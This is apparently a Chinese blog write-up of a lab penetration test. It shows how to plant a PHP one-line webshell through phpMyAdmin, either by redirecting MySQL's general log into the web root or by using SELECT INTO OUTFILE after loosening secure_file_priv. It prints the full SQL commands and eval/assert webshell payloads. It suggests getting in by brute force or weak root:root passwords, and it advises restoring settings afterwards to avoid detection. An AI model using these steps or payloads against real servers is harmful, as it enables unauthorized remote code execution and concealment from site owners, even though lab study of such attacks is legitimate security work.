起序:渗透测试的时候遇到了,复现总结一下。
一、靶场环境
- VMware Workstation 15.5 Pro
- windows server 2003
- phpStudy 2018
二、两种方式
- 利用日志文件写入一句话木马
- 写入一句话木马生成文件(实际操作时会遇到困难)
1、利用日志文件写入一句话木马
日志文件写入
的思路利用MySQL
的一个日志文件。我们执行的每一个 sql 语句都会被保存到日志中,换个思路想一下如果把这个日志文件重名为*.php
,然后我们再执行一次 sql语句,那么就会被保存在这个*.php
文件中,这样我们就能顺利拿到 webshell。
1、进入 phpMyAdmin 控制界面
假设已经通过某种方式得到了
phpMyAdmin
的账号密码。
- 爆破
- 弱口令(root:root)
2、查看日志文件路径
在
变量
栏的搜索框中输入gen
。会出现general log
和general log file
两个变量。因为要将一句话木马
写入日志文件,所以需要先开启记录日志,将OFF
改成ON
。日志路径中需要将*.log
后缀改成*.php
。(特别注意的是,拿到 webshell 之后要改回去,不然就可能被发现了,尽量在拿到 webshell 之后,不要留下痕迹。)
general log
:指是否启动记录日志;(OFF:否 | ON:是)general log file
:指日志路径。
3、修改日志文件路径
可以用
sql 语句
更改,也可以手动更改。
# 日志保存状态开启
SET global general_log = "ON";
# 修改日志的保存位置
SET global general_log_file='E:/phpStudy/PHPTutorial/WWW/shell.php';
查看
general log
和general log file
变量表示的内容。可以看到已经更改完成。
4、写入一句话木马
在
SQL
栏中写入下面任选其一即可,然后点击执行。
# eval
select "<?php eval($_POST['shell']);?>";
# assert
select '<?php assert($_POST["shell"]);?>';
5、查看生成的日志文件
执行完上面过程之后,此时会在网站根目录
E:\phpStudy\PHPTutorial\WWW
下生成了一个shell.php
的日志文件。
查看
shell.php
文件内容。可以看到一句话木马已经写入了。
6、浏览器测试
7、远程连接
我这里用
中国蚁剑
连接。
2、写入一句话木马生成文件
1、查看 secure_file_priv 状态
在进行这个方式之前,先查看
secure_file_priv
的状态,来确定数据库是否允许导入文件。
secure_file_priv
有三种状态:secure_file_priv
为NULL
时,表示不允许导入导出;secure_file_priv
为指定文件夹
时,表示mysql
的导入导出只能在指定的文件夹;secure_file_priv
没有设置时,则表示没有任何限制;
show global variables like "secure_file_priv";
从上图可知,
secure_file_priv
为NULL
,这样的情况下是无法插入一句话的,需要修改secure_file_priv=''
才能插入一句话。此时secure_file_priv
的状态是无法在phpMyAdmin
控制界面更改的,所以遇到这种情况之后,这个方法就行不通了。如果运气好的话,可能在渗透测试中遇到secure_file_priv=''
的情况,那就可以执行了。比如下面图片:
2、查看网站绝对路径
写入一句话木马之前,必须得知道网站的根目录,不然都不知道往哪儿写。从下面查看的内容可知,根据经验可知,该网站是用
phpstudy
搭建的(假设之前不知道哈),这就很容易判断出网站的根目录是E:/phpStudy/PHPTutorial/WWW
。
select @@basedir;
尝试插入
sql 语句
。执行后会发现错误:MySQL服务器使用 --secure file priv 选项运行,因此无法执行此语句
。
select '<?php @eval($_POST[shell]);?>' into outfile 'E:/phpStudy/PHPTutorial/WWW/shell.php';
3、更改 secure_file_priv 状态
如何解决这个问题呢?因为是无法在
phpMyAdmin
控制界面更改的。所以只能修改在E:\phpStudy\PHPTutorial\MySQL
目录下的my.ini
文件,然后重启服务即可。在my.ini
文件中,应该是没有secure-file-priv=''
这个配置的,需要手动添加上。
- 注:别忘了重启
phpstudy
。
3、写入一句话木马
此时再执行
sql 语句
写入一句话木马到E:\phpStudy\PHPTutorial\WWW
下的shell.php
文件内,是可以执行成功了。
select "<?php @eval($_POST['shell']);?>" into outfile 'E:/phpStudy/PHPTutorial/WWW/shell.php';
4、查看生成的文件
执行完上面过程之后,此时会在网站根目录
E:\phpStudy\PHPTutorial\WWW
下生成了一个shell.php
的日志文件。
查看
shell.php
文件内容。可以看到一句话木马已经写入了。
5、远程连接
就不再
浏览器测试了
,直接远程连接就行了。
如果对您有帮助,点个赞再走吧。